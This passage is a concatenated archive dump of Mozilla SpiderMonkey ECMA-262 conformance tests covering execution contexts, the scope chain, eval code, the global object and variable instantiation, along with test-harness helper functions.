( Number.NaN ); } return ( ToInteger( t ) ); } function ToInteger( t ) { t = Number( t ); if ( isNaN( t ) ){ return ( Number.NaN ); } if ( t == 0 || t == -0 || t == Number.POSITIVE_INFINITY || t == Number.NEGATIVE_INFINITY ) { return 0; } var sign = ( t < 0 ) ? -1 : 1; return ( sign * Math.floor( Math.abs( t ) ) ); } function Enumerate ( o ) { var properties = new Array(); for ( p in o ) { properties[ properties.length ] = new Array( p, o[p] ); } return properties; } function AddTestCase( description, expect, actual ) { testcases[tc++] = new TestCase( SECTION, description, expect, actual ); } function getFailedCases() { for ( var i = 0; i < testcases.length; i++ ) { if ( ! testcases[i].passed ) { print( testcases[i].description +" = " +testcases[i].actual +" expected: "+ testcases[i].expect ); } } } mozjs17.0.0/js/src/tests/ecma/template.js0000664000175000017500000000234212106270663020225 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: */ /** * File Name: template.js * Reference: ** replace with bugzilla URL or document reference ** * Description: ** replace with description of test ** * Author: ** replace with your e-mail address ** */ var SECTION = ""; // provide a document reference (ie, ECMA section) var VERSION = "ECMA"; // Version of JavaScript or ECMA var TITLE = ""; // Provide ECMA section title or a description var BUGNUMBER = ""; // Provide URL to bugsplat or bugzilla report startTest(); // leave this alone /* * Calls to AddTestCase here. AddTestCase is a function that is defined * in shell.js and takes three arguments: * - a string representation of what is being tested * - the expected result * - the actual result * * For example, a test might look like this: * * AddTestCase("** description", * "** expected value", * "** actual value"); */ // leave this alone. this executes the test cases and // displays results. test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/0000775000175000017500000000000012106270663021546 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.2.3-1.js0000664000175000017500000000272012106270663022764 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.2.3-1.js ECMA Section: 10.2.3 Function and Anonymous Code Description: The scope chain is initialized to contain the activation object followed by the global object. Variable instantiation is performed using the activation by the global object. Variable instantiation is performed using the activation object as the variable object and using property attributes { DontDelete }. The caller provides the this value. If the this value provided by the caller is not an object (including the case where it is null), then the this value is the global object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.2.3-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Eval Code"; writeHeaderToLog( SECTION + " "+ TITLE); var o = new MyObject("hello") new TestCase( SECTION, "var o = new MyObject('hello'); o.THIS == x", true, o.THIS == o ); var o = MyFunction(); new TestCase( SECTION, "var o = MyFunction(); o == this", true, o == this ); test(); function MyFunction( value ) { return this; } function MyObject( value ) { this.THIS = this; } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-6.js0000664000175000017500000000500112106270663022764 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-6"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); var testcase = new TestCase( "SECTION", "with MyObject, eval should be [object Global].eval " ); var MYOBJECT = new MyObject(); var INPUT = 2; testcase.description += ( INPUT +"" ); with ( MYOBJECT ) { ; } testcase.actual = eval( INPUT ); testcase.expect = INPUT; test(); function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/shell.js0000664000175000017500000000000012106270663023201 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.5-3.js0000664000175000017500000000520712106270663022772 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.5-3.js ECMA Section: 10.1.5 Global Object Description: There is a unique global object which is created before control enters any execution context. Initially the global object has the following properties: Built-in objects such as Math, String, Date, parseInt, etc. These have attributes { DontEnum }. Additional host defined properties. This may include a property whose value is the global object itself, for example window in HTML. As control enters execution contexts, and as ECMAScript code is executed, additional properties may be added to the global object and the initial properties may be changed. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.5.1-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Global Object"); new TestCase( "SECTION", "Function Code check" ); test(); function test() { if ( Object == null ) { gTestcases[0].reason += " Object == null" ; } if ( Function == null ) { gTestcases[0].reason += " Function == null"; } if ( String == null ) { gTestcases[0].reason += " String == null"; } if ( Array == null ) { gTestcases[0].reason += " Array == null"; } if ( Number == null ) { gTestcases[0].reason += " Function == null"; } if ( Math == null ) { gTestcases[0].reason += " Math == null"; } if ( Boolean == null ) { gTestcases[0].reason += " Boolean == null"; } if ( Date == null ) { gTestcases[0].reason += " Date == null"; } /* if ( NaN == null ) { gTestcases[0].reason += " NaN == null"; } if ( Infinity == null ) { gTestcases[0].reason += " Infinity == null"; } */ if ( eval == null ) { gTestcases[0].reason += " eval == null"; } if ( parseInt == null ) { gTestcases[0].reason += " parseInt == null"; } if ( gTestcases[0].reason != "" ) { gTestcases[0].actual = "fail"; } else { gTestcases[0].actual = "pass"; } gTestcases[0].expect = "pass"; for ( gTc=0; gTc < gTestcases.length; gTc++ ) { gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-8.js0000664000175000017500000000574112106270663023001 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "with MyObject, eval should cube INPUT: " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += ( INPUT +"" ); with ( MYOBJECT ) { eval = new Function ( "x", "return(Math.pow(Number(x),3))" ); gTestcases[gTc].actual = eval( INPUT ); gTestcases[gTc].expect = Math.pow(INPUT,3); } gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.2.2-1.js0000664000175000017500000000462612106270663022772 0ustar sstanglsstangl// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.2.2-1.js ECMA Section: 10.2.2 Eval Code Description: When control enters an execution context for eval code, the previous active execution context, referred to as the calling context, is used to determine the scope chain, the variable object, and the this value. If there is no calling context, then initializing the scope chain, variable instantiation, and determination of the this value are performed just as for global code. The scope chain is initialized to contain the same objects, in the same order, as the calling context's scope chain. This includes objects added to the calling context's scope chain by WithStatement. Variable instantiation is performed using the calling context's variable object and using empty property attributes. The this value is the same as the this value of the calling context. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.2.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Eval Code"; writeHeaderToLog( SECTION + " "+ TITLE); var THIS = eval("this"); new TestCase( SECTION, "this +''", GLOBAL, THIS + "" ); var GLOBAL_PROPERTIES = new Array(); var i = 0; for ( p in THIS ) { GLOBAL_PROPERTIES[i++] = p; } for ( i = 0; i < GLOBAL_PROPERTIES.length; i++ ) { new TestCase( SECTION, GLOBAL_PROPERTIES[i] +" == THIS["+GLOBAL_PROPERTIES[i]+"]", true, eval(GLOBAL_PROPERTIES[i]) == eval( "THIS[GLOBAL_PROPERTIES[i]]") ); } // this in eval statements is the same as this value of the calling context var RESULT = THIS == this; new TestCase( SECTION, "eval( 'this == THIS' )", true, RESULT ); var RESULT = THIS +''; new TestCase( SECTION, "eval( 'this + \"\"' )", GLOBAL, RESULT ); new TestCase( SECTION, "eval( 'this == THIS' )", true, eval( "this == THIS" ) ); new TestCase( SECTION, "eval( 'this + \"\"' )", GLOBAL, eval( "this +''") ); test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.5-2.js0000664000175000017500000000444712106270663022776 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.5-2.js ECMA Section: 10.1.5 Global Object Description: There is a unique global object which is created before control enters any execution context. Initially the global object has the following properties: Built-in objects such as Math, String, Date, parseInt, etc. These have attributes { DontEnum }. Additional host defined properties. This may include a property whose value is the global object itself, for example window in HTML. As control enters execution contexts, and as ECMAScript code is executed, additional properties may be added to the global object and the initial properties may be changed. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.5.1-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Global Object"); new TestCase( "SECTION", "Eval Code check" ); var EVAL_STRING = 'if ( Object == null ) { gTestcases[0].reason += " Object == null" ; }' + 'if ( Function == null ) { gTestcases[0].reason += " Function == null"; }' + 'if ( String == null ) { gTestcases[0].reason += " String == null"; }' + 'if ( Array == null ) { gTestcases[0].reason += " Array == null"; }' + 'if ( Number == null ) { gTestcases[0].reason += " Function == null";}' + 'if ( Math == null ) { gTestcases[0].reason += " Math == null"; }' + 'if ( Boolean == null ) { gTestcases[0].reason += " Boolean == null"; }' + 'if ( Date == null ) { gTestcases[0].reason += " Date == null"; }' + 'if ( eval == null ) { gTestcases[0].reason += " eval == null"; }' + 'if ( parseInt == null ) { gTestcases[0].reason += " parseInt == null"; }' ; eval( EVAL_STRING ); /* if ( NaN == null ) { gTestcases[0].reason += " NaN == null"; } if ( Infinity == null ) { gTestcases[0].reason += " Infinity == null"; } */ if ( gTestcases[0].reason != "" ) { gTestcases[0].actual = "fail"; } else { gTestcases[0].actual = "pass"; } gTestcases[0].expect = "pass"; test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.3.js0000664000175000017500000000745712106270663022641 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.3.js ECMA Section: 10.1.3.js Variable Instantiation Description: Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "10.1.3"; var VERSION = "ECMA_1"; var TITLE = "Variable instantiation"; var BUGNUMBER = "20256"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); // overriding a variable or function name with a function should succeed new TestCase(SECTION, "function t() { return \"first\" };" + "function t() { return \"second\" };t() ", "second", eval("function t() { return \"first\" };" + "function t() { return \"second\" };t()")); new TestCase(SECTION, "var t; function t(){}; typeof(t)", "function", eval("var t; function t(){}; typeof(t)")); // formal parameter tests new TestCase(SECTION, "function t1(a,b) { return b; }; t1( 4 );", void 0, eval("function t1(a,b) { return b; }; t1( 4 );") ); new TestCase(SECTION, "function t1(a,b) { return a; }; t1(4);", 4, eval("function t1(a,b) { return a; }; t1(4)")); new TestCase(SECTION, "function t1(a,b) { return a; }; t1();", void 0, eval("function t1(a,b) { return a; }; t1()")); new TestCase(SECTION, "function t1(a,b) { return a; }; t1(1,2,4);", 1, eval("function t1(a,b) { return a; }; t1(1,2,4)")); /* new TestCase(SECTION, "function t1(a,a) { return a; }; t1( 4 );", void 0, eval("function t1(a,a) { return a; }; t1( 4 )")); new TestCase(SECTION, "function t1(a,a) { return a; }; t1( 1,2 );", 2, eval("function t1(a,a) { return a; }; t1( 1,2 )")); */ // variable declarations new TestCase(SECTION, "function t1(a,b) { return a; }; t1( false, true );", false, eval("function t1(a,b) { return a; }; t1( false, true );")); new TestCase(SECTION, "function t1(a,b) { return b; }; t1( false, true );", true, eval("function t1(a,b) { return b; }; t1( false, true );")); new TestCase(SECTION, "function t1(a,b) { return a+b; }; t1( 4, 2 );", 6, eval("function t1(a,b) { return a+b; }; t1( 4, 2 );")); new TestCase(SECTION, "function t1(a,b) { return a+b; }; t1( 4 );", Number.NaN, eval("function t1(a,b) { return a+b; }; t1( 4 );")); // overriding a function name with a variable should fail new TestCase(SECTION, "function t() { return 'function' };" + "var t = 'variable'; typeof(t)", "string", eval("function t() { return 'function' };" + "var t = 'variable'; typeof(t)")); // function as a constructor new TestCase(SECTION, "function t1(a,b) { var a = b; return a; } t1(1,3);", 3, eval("function t1(a, b){ var a = b; return a;}; t1(1,3)")); new TestCase(SECTION, "function t2(a,b) { this.a = b; } x = new t2(1,3); x.a", 3, eval("function t2(a,b) { this.a = b; };" + "x = new t2(1,3); x.a")); new TestCase(SECTION, "function t2(a,b) { this.a = a; } x = new t2(1,3); x.a", 1, eval("function t2(a,b) { this.a = a; };" + "x = new t2(1,3); x.a")); new TestCase(SECTION, "function t2(a,b) { this.a = b; this.b = a; } " + "x = new t2(1,3);x.a;", 3, eval("function t2(a,b) { this.a = b; this.b = a; };" + "x = new t2(1,3);x.a;")); new TestCase(SECTION, "function t2(a,b) { this.a = b; this.b = a; }" + "x = new t2(1,3);x.b;", 1, eval("function t2(a,b) { this.a = b; this.b = a; };" + "x = new t2(1,3);x.b;") ); test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.2.2-2.js0000664000175000017500000000570412106270663022771 0ustar sstanglsstangl// |reftest| skip-if(Android) -- bug - nsIDOMWindow.crypto throws NS_ERROR_NOT_IMPLEMENTED on Android /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.2.2-2.js ECMA Section: 10.2.2 Eval Code Description: When control enters an execution context for eval code, the previous active execution context, referred to as the calling context, is used to determine the scope chain, the variable object, and the this value. If there is no calling context, then initializing the scope chain, variable instantiation, and determination of the this value are performed just as for global code. The scope chain is initialized to contain the same objects, in the same order, as the calling context's scope chain. This includes objects added to the calling context's scope chain by WithStatement. Variable instantiation is performed using the calling context's variable object and using empty property attributes. The this value is the same as the this value of the calling context. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.2.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Eval Code"; writeHeaderToLog( SECTION + " "+ TITLE); // Test Objects var OBJECT = new MyObject( "hello" ); var GLOBAL_PROPERTIES = new Array(); var i = 0; for ( p in this ) { GLOBAL_PROPERTIES[i++] = p; } with ( OBJECT ) { var THIS = this; new TestCase( SECTION, "eval( 'this == THIS' )", true, eval("this == THIS") ); new TestCase( SECTION, "this in a with() block", GLOBAL, this+"" ); new TestCase( SECTION, "new MyObject('hello').value", "hello", value ); new TestCase( SECTION, "eval(new MyObject('hello').value)", "hello", eval("value") ); new TestCase( SECTION, "new MyObject('hello').getClass()", "[object Object]", getClass() ); new TestCase( SECTION, "eval(new MyObject('hello').getClass())", "[object Object]", eval("getClass()") ); new TestCase( SECTION, "eval(new MyObject('hello').toString())", "hello", eval("toString()") ); new TestCase( SECTION, "eval('getClass') == Object.prototype.toString", true, eval("getClass") == Object.prototype.toString ); for ( i = 0; i < GLOBAL_PROPERTIES.length; i++ ) { new TestCase( SECTION, GLOBAL_PROPERTIES[i] + " == THIS["+GLOBAL_PROPERTIES[i]+"]", true, eval(GLOBAL_PROPERTIES[i]) == eval( "THIS[GLOBAL_PROPERTIES[i]]") ); } } test(); function MyObject( value ) { this.value = value; this.getClass = Object.prototype.toString; this.toString = new Function( "return this.value+''" ); return this; } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.5-1.js0000664000175000017500000000430412106270663022765 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.5-1.js ECMA Section: 10.1.5 Global Object Description: There is a unique global object which is created before control enters any execution context. Initially the global object has the following properties: Built-in objects such as Math, String, Date, parseInt, etc. These have attributes { DontEnum }. Additional host defined properties. This may include a property whose value is the global object itself, for example window in HTML. As control enters execution contexts, and as ECMAScript code is executed, additional properties may be added to the global object and the initial properties may be changed. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.5.1-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Global Object"); new TestCase( "SECTION", "Global Code check" ); if ( Object == null ) { gTestcases[0].reason += " Object == null" ; } if ( Function == null ) { gTestcases[0].reason += " Function == null"; } if ( String == null ) { gTestcases[0].reason += " String == null"; } if ( Array == null ) { gTestcases[0].reason += " Array == null"; } if ( Number == null ) { gTestcases[0].reason += " Function == null"; } if ( Math == null ) { gTestcases[0].reason += " Math == null"; } if ( Boolean == null ) { gTestcases[0].reason += " Boolean == null"; } if ( Date == null ) { gTestcases[0].reason += " Date == null"; } /* if ( NaN == null ) { gTestcases[0].reason += " NaN == null"; } if ( Infinity == null ) { gTestcases[0].reason += " Infinity == null"; } */ if ( eval == null ) { gTestcases[0].reason += " eval == null"; } if ( parseInt == null ) { gTestcases[0].reason += " parseInt == null"; } if ( gTestcases[0].reason != "" ) { gTestcases[0].actual = "fail"; } else { gTestcases[0].actual = "pass"; } gTestcases[0].expect = "pass"; test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/browser.js0000664000175000017500000000000012106270663023555 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.8-3.js0000664000175000017500000000160412106270663022772 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.8-3 ECMA Section: Arguments Object Description: The [[Prototype]] of the arguments object is to the original Object prototype object, the one that is the initial value of Object.prototype (section 15.2.3.1). ... Test that "typeof arguments" is thus "object". */ var SECTION = "10.1.8-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Arguments Object"; writeHeaderToLog( SECTION + " "+ TITLE); var expected = "object"; var actual = (function () { return typeof arguments; })(); reportCompare(expected, actual, "typeof arguments == object"); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.3-2.js0000664000175000017500000000150012106270663022757 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.3-1.js ECMA Section: 10.1.3 Description: Author: mozilla@florian.loitsch.com Date: 27 July 2005 */ var SECTION = "10.1.3-2"; var VERSION = "ECMA_1"; var TITLE = "Variable Instantiation: Function Declarations"; var BUGNUMBER="299639"; startTest(); writeHeaderToLog( SECTION + " "+ TITLE); function f(g) { function g() { return "g"; }; return g; } new TestCase( SECTION, "typeof f(\"parameter\")", "function", typeof f("parameter") ); test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-4.js0000664000175000017500000000565512106270663023001 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "with MyObject, eval should be [object Global].eval " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += ( INPUT +"" ); with ( MYOBJECT ) { eval( INPUT ); } gTestcases[gTc].actual = eval( INPUT ); gTestcases[gTc].expect = INPUT; gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.2.1.js0000664000175000017500000000233612106270663022627 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.2.1.js ECMA Section: 10.2.1 Global Code Description: The scope chain is created and initialized to contain the global object and no others. Variable instantiation is performed using the global object as the variable object and using empty property attributes. The this value is the global object. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.2.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Global Code"; writeHeaderToLog( SECTION + " "+ TITLE); var THIS = this; new TestCase( SECTION, "this +''", GLOBAL, THIS + "" ); var GLOBAL_PROPERTIES = new Array(); var i = 0; for ( p in this ) { GLOBAL_PROPERTIES[i++] = p; } for ( i = 0; i < GLOBAL_PROPERTIES.length; i++ ) { new TestCase( SECTION, GLOBAL_PROPERTIES[i] +" == void 0", false, eval("GLOBAL_PROPERTIES["+i+"] == void 0")); } test(); mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-3.js0000664000175000017500000000553512106270663022775 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier Resolution"); new TestCase( "SECTION", "with MyObject, eval should be [object Global].eval " ); test(); function test() { for ( gTc=0; gTc < gTestcases.length; gTc++ ) { var MYOBJECT = new MyObject(); var INPUT = 2; gTestcases[gTc].description += ( INPUT +"" ); with ( MYOBJECT ) { eval( INPUT ); } gTestcases[gTc].passed = writeTestCaseResult( gTestcases[gTc].expect, gTestcases[gTc].actual, gTestcases[gTc].description +" = "+ gTestcases[gTc].actual ); gTestcases[gTc].reason += ( gTestcases[gTc].passed ) ? "" : "wrong value "; } stopTest(); return ( gTestcases ); } function MyObject() { this.eval = new Function( "x", "return(Math.pow(Number(x),2))" ); } mozjs17.0.0/js/src/tests/ecma/ExecutionContexts/10.1.4-2.js0000664000175000017500000000566212106270663022775 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 10.1.4-1.js ECMA Section: 10.1.4 Scope Chain and Identifier Resolution Description: Every execution context has associated with it a scope chain. This is logically a list of objects that are searched when binding an Identifier. When control enters an execution context, the scope chain is created and is populated with an initial set of objects, depending on the type of code. When control leaves the execution context, the scope chain is destroyed. During execution, the scope chain of the execution context is affected only by WithStatement. When execution enters a with block, the object specified in the with statement is added to the front of the scope chain. When execution leaves a with block, whether normally or via a break or continue statement, the object is removed from the scope chain. The object being removed will always be the first object in the scope chain. During execution, the syntactic production PrimaryExpression : Identifier is evaluated using the following algorithm: 1. Get the next object in the scope chain. If there isn't one, go to step 5. 2. Call the [[HasProperty]] method of Result(l), passing the Identifier as the property. 3. If Result(2) is true, return a value of type Reference whose base object is Result(l) and whose property name is the Identifier. 4. Go to step 1. 5. Return a value of type Reference whose base object is null and whose property name is the Identifier. The result of binding an identifier is always a value of type Reference with its member name component equal to the identifier string. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "10.1.4-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Scope Chain and Identifier 